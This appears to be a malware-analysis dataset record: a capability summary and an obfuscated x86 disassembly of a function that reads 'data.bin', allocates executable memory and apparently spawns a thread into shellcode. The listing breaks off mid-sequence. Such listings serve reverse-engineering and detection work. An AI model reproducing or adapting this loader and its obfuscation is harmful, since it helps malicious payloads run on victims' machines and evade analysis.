Function at 0x100118d0
Capabilities:
Allocate or change rwx memory
Create thread
Get file size
Inspect section memory permissions
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x54
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x50], eax
sub esp, 0x1c
movaps xmm0, xmmword [section..rdata]
movups xmmword [esp + 4], xmm0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x80
mov dword [esp], str.data.bin
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x28], eax
mov dword [esp + 0x44], eax
mov edi, 0x4977a181
jmp 0x10011930
mov edi, 0x5b7029c2
nop word cs:[eax + eax]
cmp edi, 0x3a794bf
jle 0x10012200
cmp edi, 0x5206ffd4
jg 0x10012260
cmp edi, 0x3733aacb
jg 0x10012a08
cmp edi, 0x183e694c
jg 0x1001575a
cmp edi, 0x6c83e66
jg 0x100195df
cmp edi, 0x3a794c0
je 0x1001ebfd
cmp edi, 0x6545dfb
jne 0x10011930
mov eax, dword [0x1004f908]
lea ebp, [eax + 1]
imul ebp, eax
mov edx, ebp
mov esi, ebp
mov edi, ebp
not edi
and edx, 0xd144af5b
mov eax, edi
mov ebx, edi
and eax, 0x2ebb50a4
or eax, edx
mov ecx, eax
xor ecx, 0xc044a358
xor eax, 0x28215024
and eax, 0x39215c27
and ecx, 0xc6dea3d8
or ecx, eax
mov eax, ecx
xor eax, 0x4618a108
xor ecx, 0x31214820
and ecx, 0xb1e74af0
and eax, 0x4e18b50f
or eax, ecx
mov edi, eax
mov ecx, eax
xor ecx, 0xb1e74af0
xor eax, 0x4000405
mov edx, ecx
or eax, 0x42e9d240
and eax, 0x57ebde75
and ecx, 0xa014000a
or ecx, eax
mov eax, ebp
mov dword [esp], ebp
xor edi, 0x8002100
or edx, 0x15020c35
and edx, 0x57ebde75
and edi, 0x8002180
or edi, edx
xor edi, ecx
mov ecx, edi
xor ecx, 0x2200075
xor edi, 0x484fc380
and ecx, 0x4a25c0f5
mov edx, edi
and edx, 0xb5da3f0a
or edx, ecx
xor edx, 0x4883f0b5
and edi, 0x2a63040
or edi, edx
or esi, 0x242000
and esi, 0xe13d2c8b
mov ecx, ebx
and ecx, 0x1c40c334
or ecx, esi
mov edx, ebx
mov esi, ebx
mov dword [esp + 0x1c], ebx
or edx, 0xe1190c8b
and edx, 0xe13d2c8b
and eax, 0x2821040
or eax, edx
mov ebx, edi
not ebx
xor eax, ecx
not eax
mov ecx, esi
and ecx, 0xcc3baa39
and ebp, 0x33c455c6
or ebp, ecx
xor ebp, 0x33c455c6
or ebp, eax
mov eax, edi
and eax, 0xbd9378db
mov ecx, ebx
and ecx, 0x426c8724
or ecx, eax
mov esi, ebp
not esi
mov edx, esi
and edx, 0xbd9378db
mov eax, ebp
and eax, 0x426c8724
or eax, edx
xor eax, ecx
mov ecx, edi
and ecx, 0x7ae96d9d
and ebx, 0x85169262
or ebx, ecx
not eax
or eax, edi
xor ebx, 0x7ae96d9d
or ebx, ebp
not ebx
and ebp, 0x34a51195
and esi, 0xcb5aee6a
or esi, ebp
xor esi, 0x34a51195
or esi, edi
not esi
or esi, ebx
mov edx, esi
not edx
mov dword [esp + 4], edx
mov ebx, esi
xor ebx, 0x5c8f4d12
mov ecx, ebx
and ecx, edx
and ebx, esi
or ebx, ecx
mov edx, eax
not edx
mov ecx, edx
or ecx, 0x21103064
and ecx, 0x21943964
mov ebp, eax
and ebp, 0x5c0b4412
or ebp, ecx
mov ecx, eax
or ecx, 0x840900
and ecx, 0x21943964
mov edi, edx
and edi, 0x82608289
or edi, ecx
xor edi, ebp
mov ebp, ebx
xor ebp, ebx
not ebp
and ebp, edi
xor ebp, ebx
mov ecx, edx
and ecx, 0x8e4a5ec5
and eax, 0x71b5a13a
or eax, ecx
or edx, esi
and esi, 0x8e4a5ec5
mov ecx, dword [esp + 4]
and ecx, 0x71b5a13a
or ecx, esi
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
mov esi, ebp
not esi
mov ecx, esi
and ecx, 0xe9513e35
and ebp, 0x16aec1ca
or ebp, ecx
or esi, edx
and edx, 0xe9513e35
and eax, 0x16aec1ca
or eax, edx
xor eax, ebp
not esi
or esi, eax
mov ebp, esi
not ebp
mov eax, ebp
or eax, 0x20018301
mov ecx, esi
or ecx, 0x9460c70
and ecx, 0x29478f71
mov edx, ebp
and edx, 0x5280608e
or edx, ecx
and eax, 0x29478f71
mov ecx, esi
and ecx, 0x84381000
or ecx, eax
xor ecx, edx
mov edi, ecx
xor edi, 0x120020
xor ecx, 0x5080200c
and ecx, 0x54ac244c
and edi, 0x201200a0
or edi, ecx
mov ebx, edi
xor ebx, 0x201200a0
or ebx, 0x8b41db13
mov eax, ebx
not eax
or ebp, 0x442200ac
and esi, 0xb000b02
and ebp, 0xc463d0bd
or ebp, esi
and ebx, 0x4f49ef64
xor edi, 0x70be242c
and edi, eax
mov edx, eax
and edx, 0x30b60088
or edx, ebx
mov ebx, edx
xor ebx, 0xb0b6109b
mov eax, edx
xor eax, 0x611a7e07
and eax, ebx
or edi, eax
mov ecx, ebp
xor ecx, 0xc463d0bd
mov esi, ebp
xor esi, 0x3b9c2f42
mov eax, esi
or eax, ecx
xor ebp, 0xea3041de
and ebp, eax
mov eax, ebp
xor eax, ebp
not eax
and eax, edi
xor eax, ebp
xor edx, 0x4f49ef64
mov edi, edx
and edi, 0x40a824e8
and ebx, 0xbc574017
or ebx, edi
or edx, ecx
and ecx, 0x3009b00
and esi, 0xbc574017
or esi, ecx
xor esi, ebx
not edx
or edx, esi
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, edx
xor eax, 0x8e86c014
and eax, edx
or edx, 0x71793feb
mov esi, edx
and esi, 0xb6ddeafd
and ecx, 0x8020000
or ecx, esi
mov esi, eax
not esi
or edx, esi
and esi, 0xb6ddeafd
and eax, 0x49221502
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov esi, edx
xor esi, 0xf89ed4b9
mov eax, edx
xor eax, 0x4400240
and eax, 0x544c92c1
xor edx, 0x3955cebd
and edx, esi
and esi, 0xabb36d3e
or esi, eax
mov edi, esi
xor edi, 0x80830000
xor esi, 0x40481200
or esi, 0x3e34e5fb
mov eax, esi
and eax, 0x6728ebb7
and edi, 0x80c31000
or edi, eax
mov eax, edx
not eax
or esi, eax
and eax, 0x6728ebb7
and edx, 0x98d71448
or edx, eax
mov ebx, dword [esp]
mov ebp, ebx
xor ebp, 0x90597f9d
and ebp, ebx
xor edx, edi
not esi
or esi, edx
mov eax, esi
xor eax, 0xc148048
xor esi, 0x81200
and esi, 0x322877b3
and eax, 0xcdd7884c
or eax, esi
mov ecx, eax
xor ecx, 0x8c400000
xor eax, 0x10281620
and eax, 0x51bf9e6c
and ecx, 0xae406193
or ecx, eax
mov eax, ecx
xor eax, 0x50bc9060
xor ecx, 0xa6402102
and eax, 0x58bcd0f1
and ecx, 0xa7432f0e
or ecx, eax
mov edx, ecx
xor edx, 0x8384050
xor ecx, 0x87002702
and ecx, 0xd784b7a3
and edx, 0x287b485c
or edx, ecx
mov eax, edx
xor eax, 0xd784b7a3
mov ecx, dword [esp + 0x1c]
and ecx, 0x10483f19
and ebx, 0x80114084
or ebx, ecx
mov ecx, ebx
xor ecx, 0x4004
xor ebx, 0x7feebf7b
mov esi, ebx
and esi, 0xb41b8dd1
and ecx, 0x40720c
or ecx, esi
mov esi, ebp
not esi
or ebx, esi
and esi, 0xb41b8dd1
and ebp, 0x4be4722e
or ebp, esi
xor ebp, ecx
not ebx
or ebx, ebp
mov esi, ebx
xor esi, 0x6fa68062
xor ebx, 0x90597f9d
mov ecx, ebx
and ecx, 0x1ae56978
mov edi, esi
and edi, 0xe51a9687
or edi, ecx
mov ecx, edi
xor ecx, 0xe51a9687
xor edx, 0x287b485c
and ecx, edx
xor edi, 0x1ae56978
and edi, eax
or edi, ecx
mov ecx, edi
xor ecx, edx
and ecx, edi
mov edi, edx
and edi, 0xa8e2384e
and eax, 0x571dc7b1
or eax, edi
xor eax, ebx
xor eax, 0x571dc7b1
and eax, esi
or edx, esi
mov esi, eax
not esi
mov edi, esi
and edi, 0x393fd711
and eax, 0xc6c028ee
or eax, edi
xor eax, edx
xor eax, 0xc6c028ee
or esi, edx
not esi
or esi, eax
mov eax, ecx
not eax
mov ebx, esi
mov edi, esi
xor edi, 0xba8ea92f
and edi, esi
mov edx, esi
or edx, 0x457156d0
not ebx
mov esi, edx
and esi, 0x99dd8f72
or eax, ebx
and ebx, 0x2202200d
or ebx, esi
mov esi, edi
not esi
or edx, esi
and esi, 0x99dd8f72
and edi, 0x6622708d
or edi, esi
xor edi, ebx
not edx
or edx, edi
xor edx, ecx
xor edx, 0xba8ea92f
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x9ed338fb
mov esi, eax
and esi, 0x612cc704
or esi, ecx
mov ecx, esi
xor ecx, 0x60088600
xor esi, 0xa111838
and esi, 0xb35593c
and ecx, 0xf4caa6c3
or ecx, esi
mov esi, ecx
xor esi, 0xa004104
xor ecx, 0x40420600
and esi, 0xa0061c4
and ecx, 0x40520608
or ecx, esi
and edx, 0x66a7db0f
and eax, 0x995824f0
or eax, edx
mov esi, eax
xor esi, 0x995824f0
xor eax, 0x22245801
and eax, 0x3b2c5c21
mov edx, esi
and edx, 0xc4d3a3de
or edx, eax
mov eax, ecx
xor eax, 0x40520608
xor ecx, 0xbfadf9f7
xor edx, 0x717e3bed
and esi, 0x4a5267cc
or esi, edx
mov edx, eax
xor edx, esi
and edx, eax
xor eax, ecx
and eax, esi
xor eax, ecx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0xb626fd05
and edx, 0x485002c8
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0xb626fd05
and eax, 0x49d902fa
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov esi, ecx
mov edx, ecx
xor edx, 0x1afa8c6
and edx, ecx
mov eax, ecx
or eax, 0xfe505739
not esi
mov ecx, eax
and ecx, 0xceeb1b9f
and esi, 0x104a040
or esi, ecx
mov ecx, edx
not ecx
or eax, ecx
and ecx, 0xceeb1b9f
and edx, 0x3114e460
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov ecx, eax
xor ecx, 0x80
xor eax, 0x4bfdcf0a
mov edx, eax
and edx, 0x109cd03c
and ecx, 0x49600180
or ecx, edx
xor ecx, 0x49600180
and eax, 0xa6032e43
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x110808c0
mov esi, ecx
or esi, 0x4a05c006
and edx, 0x5b0dc8c6
and ecx, 0x4303029
or ecx, edx
and esi, 0x5b0dc8c6
and eax, 0xa0c20710
or eax, esi
xor eax, ecx
mov esi, eax
xor esi, 0xa143248
mov ecx, eax
xor ecx, 0x98842348
or esi, 0x94814126
mov edx, eax
xor edx, 0x20040
or ecx, 0x3581480
xor eax, 0x48202008
and esi, 0x97d955a6
and edx, 0x68041
or edx, esi
and ecx, 0x97d955a6
and eax, 0x68202a18
or eax, ecx
xor eax, edx
mov ecx, eax
xor ecx, 0xd8a06114
xor eax, 0x25c1001
and eax, 0x265d1a2b
and ecx, 0xd9a2e5d4
or ecx, eax
mov eax, ecx
xor eax, 0x88800404
xor ecx, 0x4450809
and ecx, 0x5567e9d9
and eax, 0xaa981626
or eax, ecx
xor eax, 0xaa981626
sete ch
setne cl
cmp dword [0x1004f90c], 0xa
setge al
setl dh
mov ah, dh
xor ah, cl
mov dl, ah
xor dl, 1
and ah, dh
or ah, dl
and dl, cl
mov bl, dh
or bl, cl
xor bl, 1
or bl, dl
xor ah, 1
mov bh, ah
xor bh, bl
xor bh, 1
mov dl, bh
and dl, bl
xor dl, 1
or ah, bl
or dl, bh
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
and cl, dh
and al, ch
or al, cl
mov ecx, eax
xor cl, 1
mov dh, dl
and dh, ah
xor dh, 1
or dh, ah
xor dh, 1
or dh, dl
mov ch, dh
xor ch, 1
and dh, ch
xor dh, 1
mov bl, dh
xor bl, ch
or dh, ch
xor dh, 1
or dh, bl
mov ch, dh
xor ch, 1
and dh, ch
xor dh, 1
mov bl, dh
xor bl, ch
or dh, ch
xor dh, 1
or dh, bl
mov bl, dh
xor bl, 1
mov ch, dh
and ch, bl
xor ch, 1
or ch, bl
xor ch, 1
or ch, dh
xor ch, 1
mov dh, cl
or dh, ch
mov bl, dh
xor bl, 1
xor ch, cl
or ch, bl
mov bh, ch
xor bh, 1
and bh, dh
mov dh, bl
xor dh, ch
and dh, bl
and ch, bl
or ch, bh
or ch, dh
mov dh, al
and dh, ah
and al, dl
and dl, cl
or dl, dh
mov dh, dl
xor dh, ah
and dh, dl
and cl, ah
or cl, al
mov al, dh
xor al, cl
or cl, dh
xor cl, 1
or cl, al
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
mov al, ch
xor al, 1
and dl, al
or al, cl
and cl, ch
or cl, dl
mov ah, cl
xor ah, 1
mov edx, ecx
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ecx, edx
and cl, al
or ah, al
xor al, 1
xor dl, 1
and dl, al
or dl, cl
mov al, ah
xor al, dl
test ah, 1
mov edi, 0x918a2117
mov ecx, 0x77d7df4e
cmovne edi, ecx
test dl, 1
cmove edi, ecx
test al, 1
mov eax, 0x918a2117
cmove edi, eax
mov dword [esp + 0x1c], 0
jmp 0x10011930
cmp edi, 0xbcd75998
jle 0x100122c0
cmp edi, 0xdd7f972f
jg 0x10012a65
cmp edi, 0xd1836a6c
jg 0x10015795
cmp edi, 0xc8df8119
jg 0x1001a51c
cmp edi, 0xbcd75999
je 0x1001f64d
cmp edi, 0xc80c584f
jne 0x10011930
mov edi, 0x5206ffd5
jmp 0x10011930
cmp edi, 0x646c0848
jg 0x10014233
cmp edi, 0x5868cc30
jg 0x100157c3
cmp edi, 0x56bc69ac
jg 0x1001a555
cmp edi, 0x5206ffd5
je 0x1001f667
cmp edi, 0x55f43297
jne 0x10011930
push 0x8000
push 0
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, 0x4a60f2b3
jmp 0x10011930
cmp edi, 0x9332cda6
jle 0x1001570e
cmp edi, 0xa931900a
jg 0x100161d4
cmp edi, 0x9eee8e7a
jg 0x1001a577
cmp edi, 0x9332cda7
je 0x10020631
cmp edi, 0x991f60a4
jne 0x10011930
mov eax, dword [0x1004f908]
lea edi, [eax + 1]
imul edi, eax
mov ecx, edi
not ecx
mov eax, ecx
mov ebx, ecx
and eax, 0x7b2acc33
mov edx, edi
and edx, 0x84d533cc
or edx, eax
mov esi, edx
xor esi, 0x400184
xor edx, 0x18224410
mov eax, edi
xor eax, 0x9862759c
and eax, edi
mov ebp, edi
mov dword [esp + 4], edi
or edx, 0x679d8a63
mov ecx, eax
not ecx
mov edi, edx
and edi, 0x98383259
and esi, 0x424584
or esi, edi
or edx, ecx
and ecx, 0x98383259
and eax, 0x67c7cda6
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov eax, edx
xor eax, 0x679d8a63
mov esi, eax
xor edx, 0x9862759c
mov dword [esp], ebx
mov eax, ebx
and eax, 0xcc3be723
mov ecx, ebp
and ecx, 0x33c418dc
or ecx, eax
mov eax, esi
mov ebp, esi
mov dword [esp + 0xc], esi
or eax, 0x4708284d
and eax, 0xc708acef
mov edi, edx
and edi, 0xb30100
or edi, eax
mov eax, edx
or eax, 0x800084a2
and eax, 0xc708acef
and ebp, 0x38445210
or ebp, eax
xor ecx, 0xcc3be723
or ecx, ebx
xor ebp, edi
mov edi, ecx
xor edi, 0x7f4c7a5d
and edi, ecx
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0x980382af
and edi, 0x67fc7d50
or edi, eax
mov eax, ecx
not eax
mov dword [esp + 8], eax
mov eax, ecx
or eax, 0x80b385a2
or ebx, eax
and eax, 0x980382af
mov esi, dword [esp + 8]
and esi, 0x674c7850
or esi, eax
xor esi, edi
not ebx
or ebx, esi
xor ebx, ebp
mov esi, dword [esp + 0xc]
mov eax, esi
and eax, 0xf4ce54c4
and edx, 0xb31ab3b
or edx, eax
mov edi, dword [esp + 8]
or esi, edi
mov eax, esi
and edi, 0xf4ce54c4
and ecx, 0xb31ab3b
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xe0dc325e
and ebx, 0x1f23cda1
or ebx, ecx
xor ebx, edx
xor ebx, 0x1f23cda1
or eax, edx
not eax
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0xc8fc7bc7
and eax, 0x37038438
or eax, ecx
mov edx, eax
not edx
and eax, 0xc4382266
mov ecx, edx
and ecx, 0x3bc7dd99
or ecx, eax
xor ecx, 0xcc459a1
and edx, 0xc8fc7bc7
or edx, ecx
mov edi, dword [esp]
mov ecx, edi
and ecx, 0xa5029efa
mov ebx, dword [esp + 4]
mov eax, ebx
and eax, 0x5afd6105
or eax, ecx
mov esi, eax
xor esi, 0x92011ac2
xor eax, 0x48e6e534
mov ecx, esi
and ecx, 0x35181009
and eax, 0xcae7eff6
or eax, ecx
mov ecx, ebx
and ecx, 0x35181009
and edi, 0xcae7eff6
or edi, ecx
xor edi, eax
or esi, ebx
not esi
or esi, edi
mov ebx, esi
not ebx
mov ebp, esi
mov eax, ebx
xor esi, edx
and esi, ebx
or ebx, edx
mov ecx, edx
mov edi, edx
not edi
and ecx, 0x570f1a63
and edi, 0xa8f0e59c
or edi, ecx
and ebp, 0x7489bea1
and eax, 0x8b76415e
or eax, ebp
mov ecx, edi
xor ecx, 0x80e0800c
xor edi, 0x570f1a63
mov edx, edi
and edx, 0x291a75b1
and ecx, 0xd6e58a4e
or ecx, edx
mov edx, eax
xor edx, 0x8264004e
xor eax, 0x7489bea1
or edi, eax
and eax, 0x291a75b1
and edx, 0xd6e58a4e
or edx, eax
xor edx, ecx
not edi
or edi, edx
not ebx
or ebx, esi
mov esi, ebx
xor esi, 0xb683e1fd
mov ebp, esi
and esi, ebx
mov edx, ebx
not edx
mov ebx, edi
xor ebx, 0x497c1e02
mov eax, ebx
and eax, edi
and ebp, edx
or edx, edi
not edi
and ebx, edi
mov ecx, eax
not ecx
mov edi, ecx
and edi, 0x63ccd2fe
and eax, 0x9c332d01
or eax, edi
mov edi, ebx
not edi
or ecx, edi
and edi, 0x63ccd2fe
and ebx, 0x9c332d01
or ebx, edi
xor ebx, eax
not ecx
or ecx, ebx
mov eax, ebp
not eax
mov edi, eax
and edi, 0x2a43bbe3
and ebp, 0xd5bc441c
or ebp, edi
mov edi, esi
not edi
or eax, edi
and edi, 0x2a43bbe3
and esi, 0xd5bc441c
or esi, edi
xor esi, ebp
not eax
or eax, esi
mov esi, eax
xor esi, eax
not esi
and esi, ecx
xor esi, eax
not edx
or edx, esi
mov edi, edx
not edi
mov eax, edx
mov esi, edx
xor esi, 0x21aafb84
and esi, edx
mov ecx, edi
and ecx, 0x922e5006
and edx, 0x6dd1aff9
or edx, ecx
not edx
or edx, edi
and edi, 0x21281384
and eax, 0x82e800
or eax, edi
xor eax, 0x82e800
or esi, eax
mov eax, esi
xor eax, 0x82000002
xor esi, 0x204004
and esi, 0x10244004
and eax, 0x820a1002
or eax, esi
mov ecx, eax
xor ecx, 0x20002
or ecx, 0x6441ac21
xor eax, 0x200000
and eax, 0x82281000
and ecx, 0x7447ec27
or ecx, eax
mov eax, ecx
xor eax, 0x20000
xor ecx, 0x8bb813d8
mov esi, ecx
or esi, edx
and ecx, 0x3f8c579e
and eax, 0x80220000
or eax, ecx
xor eax, edx
mov ecx, eax
xor ecx, 0xc073a861
xor eax, 0x3f8c579e
mov edx, eax
and edx, 0xcd3d7c57
and ecx, 0x32c283a8
or ecx, edx
or eax, esi
and esi, 0xdf3f7c57
xor esi, ecx
xor esi, 0x12020000
not eax
or eax, esi
mov edx, eax
mov esi, eax
xor esi, 0x5ad22bc0
and esi, eax
not eax
or edx, 0xa52dd43f
mov ecx, esi
not ecx
mov edi, edx
and edi, 0xfd6284a3
and eax, 0x2902b40
or eax, edi
or edx, ecx
and ecx, 0xfd6284a3
and esi, 0x29d7b5c
or esi, ecx
xor esi, eax
not edx
or edx, esi
mov edi, dword [esp + 4]
mov esi, edi
or esi, 0x120460
mov eax, edi
xor eax, 0xf8ad1a8f
and eax, edi
mov ecx, eax
not ecx
and esi, 0x503e1669
mov ebx, dword [esp]
and ebx, 0xa8810886
or ebx, esi
or edi, ecx
and ecx, 0x503e1669
and eax, 0xafc1e996
or eax, ecx
xor eax, ebx
mov ecx, edi
not ecx
or ecx, eax
not eax
and eax, 0x752e570
and ecx, 0xf8ad1a8f
or ecx, eax
mov esi, ecx
not esi
and ecx, 0x712d2f66
and esi, 0x8ed2d099
or esi, ecx
mov ecx, esi
xor ecx, 0x8ed2d099
xor esi, 0x712d2f66
mov eax, edx
not eax
mov edi, edx
and edi, 0x91199540
mov ebx, eax
and ebx, 0x6ee66abf
or ebx, edi
mov edi, esi
and edi, 0x681f798c
mov ebp, ecx
and ebp, 0x97e08673
or ebp, edi
mov edi, ebx
xor edi, 0x191100
xor ebx, 0x6e00233
and edi, 0x681f798c
and ebx, 0x97e08673
or ebx, edi
xor ebx, ebp
mov edi, ebx
xor edi, esi
and edi, ebx
mov ebx, esi
and ebx, ecx
and esi, 0x8247f26b
and ecx, 0x7db80d94
or ecx, esi
xor ecx, 0x7db80d94
or ecx, ebx
mov esi, edx
xor esi, eax
and esi, ecx
xor esi, eax
not esi
or esi, eax
xor esi, edi
and edi, esi
not esi
or esi, edi
mov ecx, esi
not ecx
and esi, 0x304bd1bb
and ecx, 0xcfb42e44
or ecx, esi
mov esi, eax
and esi, 0x44020222
mov edi, edx
and edi, 0x141240c
or edi, esi
mov esi, edi
xor esi, 0x400
xor edi, 0xf4988bb2
and edi, 0xf5d9abbe
and esi, 0x20400
or esi, edi
or eax, 0x4541222e
and eax, 0xf5d9abbe
and edx, 0xa245041
or edx, eax
mov eax, ecx
xor eax, 0x304bd1bb
xor edx, esi
mov esi, edx
xor esi, 0xbabcd9d1
xor edx, 0x4543262e
xor ecx, 0xcfb42e44
and ecx, esi
mov esi, eax
xor esi, edx
and esi, eax
and edx, eax
or edx, ecx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x180d2825
and esi, 0xe7f2d7da
or esi, ecx
mov ecx, edx
not ecx
or eax, ecx
and ecx, 0x180d2825
and edx, 0xe7f2d7da
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x1b19247e
and eax, 0xe4e6db81
or eax, ecx
xor eax, 0xe4e6db81
sete cl
setne bl
cmp dword [0x1004f90c], 0xa
setge al
setl ch
mov ah, bl
or ah, ch
xor ah, 1
mov dh, al
or dh, cl
xor dh, 1
or dh, ah
mov dl, al
or dl, bl
xor dl, 1
and cl, al
and ch, bl
or ch, cl
or dl, ch
mov cl, dh
xor cl, 1
mov ebx, ecx
and bl, dh
xor bl, 1
or bl, dh
xor bl, 1
or bl, cl
mov dh, bl
xor dh, 1
and dh, dl
or cl, dl
xor dl, 1
and bl, dl
xor cl, 1
or cl, bl
or cl, dh
mov edx, ecx
xor dl, 1
xor al, ch
and al, ch
mov ch, al
not ch
and ch, al
xor ch, 1
mov dh, al
xor dh, ch
or ch, al
xor ch, 1
or ch, dh
xor ch, ah
mov dh, ah
xor dh, al
or al, ah
xor al, 1
or al, dh
mov ah, ch
xor ah, al
or al, ch
xor al, 1
or al, ah
mov ch, al
xor ch, 1
mov ebx, eax
and bl, ch
xor bl, 1
mov ah, bl
xor ah, ch
xor ah, 1
or bl, ch
mov ch, bl
xor ch, ah
or ah, bl
xor ah, 1
or ah, ch
mov dh, dl
and dh, cl
xor dh, 1
xor bl, 1
or bl, al
mov ch, dl
or ch, dh
xor ch, 1
or ch, cl
or dh, cl
xor dh, 1
or dh, dl
xor dh, 1
mov al, dh
xor al, bl
xor al, 1
and al, dh
or dh, bl
mov dl, dh
xor dl, 1
mov cl, dh
and cl, dl
xor cl, 1
or cl, dl
xor al, 1
xor cl, 1
or cl, dh
xor cl, al
xor cl, 1
or al, dh
mov edx, ecx
xor dl, al
or al, cl
mov cl, ch
xor cl, 1
xor ch, ah
xor al, 1
or al, dl
or ah, cl
mov cl, ch
xor cl, 1
and cl, ah
xor ah, 1
mov dl, ah
xor dl, ch
and dl, ah
and ah, ch
or ah, cl
mov ecx, edx
xor cl, 1
xor dl, ah
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
xor ah, 1
mov ecx, eax
xor cl, ah
mov edx, ecx
xor dl, 1
and dl, ah
and ah, cl
and cl, al
mov al, ah
xor al, 1
xor ah, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, ah
mov eax, edx
xor al, 1
mov ah, cl
xor ah, 1
and cl, al
or al, ah
and ah, dl
or ah, cl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0x9332cda7
mov edx, 0xcb1f11b6
cmovne ecx, edx
test ah, 1
mov edi, ecx
mov edx, 0x9332cda7
jmp 0x1001ebf0
cmp edi, 0x49db7fe0
jg 0x10016a26
cmp edi, 0x48111fd8
jg 0x1001ae72
cmp edi, 0x3733aacc
je 0x100210ca
cmp edi, 0x3dbbcebd
jne 0x10011930
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, 0xda8b46ee
mov dword [esp + 0x1c], 1
jmp 0x10011930
cmp edi, 0xf22e65d6
jg 0x100176dc
cmp edi, 0xed49b242
jg 0x1001aea3
cmp edi, 0xdd7f9730
je 0x10021d05
cmp edi, 0xead2154b
jne 0x10011930
mov ecx, dword [0x1004f908]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov ebx, ecx
mov esi, ecx
and esi, 0x50004480
mov edx, eax
and edx, 0x5100958
or edx, esi
mov esi, edx
xor esi, 0x1000800
xor edx, 0xfaeff6a7
mov edi, eax
xor edi, 0x55104dd8
and edi, eax
mov ebp, edx
and ebp, 0x2cb9537c
and esi, 0x51000c80
or esi, ebp
mov ebp, edi
not ebp
or edx, ebp
and ebp, 0x2cb9537c
and edi, 0xd346ac83
or edi, ebp
and ebx, 0x10a8080a
mov ebp, eax
and ebp, 0x4011a290
or ebp, ebx
mov ebx, ebp
xor ebx, 0x10280
xor ebp, 0xa44414a
and ebp, 0x4a54e15a
and ebx, 0x10a90a80
or ebx, ebp
mov ebp, ecx
or ecx, 0x4010a01a
and ecx, 0x4a54e15a
mov dword [esp], eax
and eax, 0xa5021425
or eax, ecx
xor eax, ebx
mov ebx, ebp
xor eax, 0xbc65360
or eax, ebp
mov ecx, ebp
mov ebp, eax
mov eax, ecx
xor edi, esi
not edx
or edx, edi
mov ecx, edx
xor ecx, 0x2431207
xor edx, 0x55104dd8
and ecx, 0x57535297
mov esi, edx
and esi, 0xa8acad68
or esi, ecx
xor esi, 0x54f5c5a1
and edx, 0x3a69736
or edx, esi
mov ecx, edx
not ecx
mov esi, dword [esp]
and esi, 0x6b0e3c78
and ebx, 0x94f1c387
or ebx, esi
xor ebx, 0x975754b1
and eax, 0xfc5968c9
or eax, ebx
mov esi, ecx
xor esi, eax
and esi, ecx
and edx, 0x9a700919
and ecx, 0x658ff6e6
or ecx, edx
xor ecx, eax
xor ecx, 0x658ff6e6
or ecx, esi
mov eax, ecx
xor eax, 0x3a69736
xor ecx, 0xfc5968c9
mov edx, eax
or edx, 0xa4800605
and eax, 0x32f0194c
mov esi, ecx
and esi, 0xcd0fe6b3
or esi, eax
mov eax, esi
xor eax, 0x49856084
xor esi, 0x96701f49
mov edi, edx
and edi, 0x200a8372
and ecx, 0x5b757888
or ecx, edi
or edx, esi
and esi, 0x200a8372
and eax, 0xdff57c8d
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, ebp
not eax
mov esi, ebp
and esi, 0x5f66886
and eax, 0xfa099779
or eax, esi
mov edi, eax
xor edi, 0xa008651
mov esi, edx
and esi, 0xf4fd51ae
mov ebx, ecx
and ebx, 0xb02ae51
or ebx, esi
xor eax, 0x4f44086
and eax, 0xf4fd51ae
and edi, 0xb02ae51
or edi, eax
xor edi, ebx
mov esi, edi
xor esi, edx
and esi, edi
xor edx, ebp
or ebp, ecx
and edx, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0xbe549795
and edx, 0x41ab686a
or edx, eax
xor edx, ebp
xor edx, 0x41ab686a
or ecx, ebp
not ecx
or ecx, edx
mov edi, esi
not edi
mov edx, ecx
not edx
mov eax, edi
or eax, edx
not eax
and edi, 0x61205248
and esi, 0x9edfadb7
or esi, edi
and edx, 0x61205248
and ecx, 0x9edfadb7
or ecx, edx
xor ecx, esi
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x1352bb08
mov esi, edx
and esi, 0xecad44f7
or esi, eax
mov eax, esi
xor eax, 0x342b808
xor esi, 0x8214060
and esi, 0x18314160
and eax, 0x434eb89a
or eax, esi
mov esi, eax
xor esi, 0x434eb89a
or esi, 0xa4800605
xor eax, 0x10310020
and ecx, 0xcffb49ea
mov edi, edx
and edi, 0x3004b615
or edi, ecx
xor edi, 0x9484b010
and edx, 0x5b7ff9fa
or edx, edi
mov ecx, esi
or ecx, edx
and esi, 0xec046544
and eax, 0x137b98ba
or eax, esi
xor eax, edx
mov edx, eax
xor edx, 0x13fb9abb
xor eax, 0xec046544
mov esi, eax
and esi, 0xaaaefa86
and edx, 0x55510579
or edx, esi
or eax, ecx
